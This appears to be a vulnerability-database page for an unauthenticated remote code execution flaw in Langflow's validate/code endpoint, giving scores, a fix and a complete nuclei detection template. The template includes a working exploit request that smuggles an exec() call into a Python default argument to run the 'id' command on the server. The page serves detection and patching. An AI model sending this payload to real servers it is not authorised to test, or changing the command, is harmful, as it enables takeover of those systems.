HexBrain

Browse / CVEs / CVE-2026-0768

CVE-2026-0768· langflow-ai / langflow· CWE-94

Langflow <=1.2.x - Unauthenticated Remote Code Execution via validate_code

criticalseverity
9.8CVSS score
28.1%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

Langflow <= 1.2.x exposes POST /api/v1/validate/code without any authentication. The endpoint calls validate_code() which exec()s user-supplied Python code. Default-argument expressions in Python execute at function-definition time, allowing arbitrary OS command execution without authentication.

Impact

An unauthenticated attacker can execute arbitrary OS commands on the server running Langflow.

Fix

Upgrade Langflow to a version that requires authentication on the validate/code endpoint.

How to confirm it

Send: POST /api/v1/validate/code
Positive when: contains_all(body, "uid=", "gid=", "function") and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-0768 -u <target>

The full check
id: CVE-2026-0768

info:
  name: Langflow <=1.2.x - Unauthenticated Remote Code Execution via validate_code
  author: DhiyaneshDk
  severity: critical
  description: |
    Langflow <= 1.2.x exposes POST /api/v1/validate/code without any authentication. The endpoint calls validate_code() which exec()s user-supplied Python code. Default-argument expressions in Python execute at function-definition time, allowing arbitrary OS command execution without authentication.
  impact: |
    An unauthenticated attacker can execute arbitrary OS commands on the server running Langflow.
  remediation: |
    Upgrade Langflow to a version that requires authentication on the validate/code endpoint.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-0768
    - https://www.pruva.dev/reproductions/REPRO-2026-00342
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-0768
    epss-score: 0.2805
    epss-percentile: 0.98122
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 1
    vendor: langflow-ai
    product: langflow
  tags: cve,cve2026,langflow,rce,code-injection,unauth,vkev

http:
  - raw:
      - |
        POST /api/v1/validate/code HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"code": "def exploit(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"id\", shell=True))')): pass"}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "uid=", "gid=", "function")'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '(uid=[0-9]+\([a-z_]+\)[^ ]*)'

References

Use this check only on systems you are authorised to test. Where the data comes from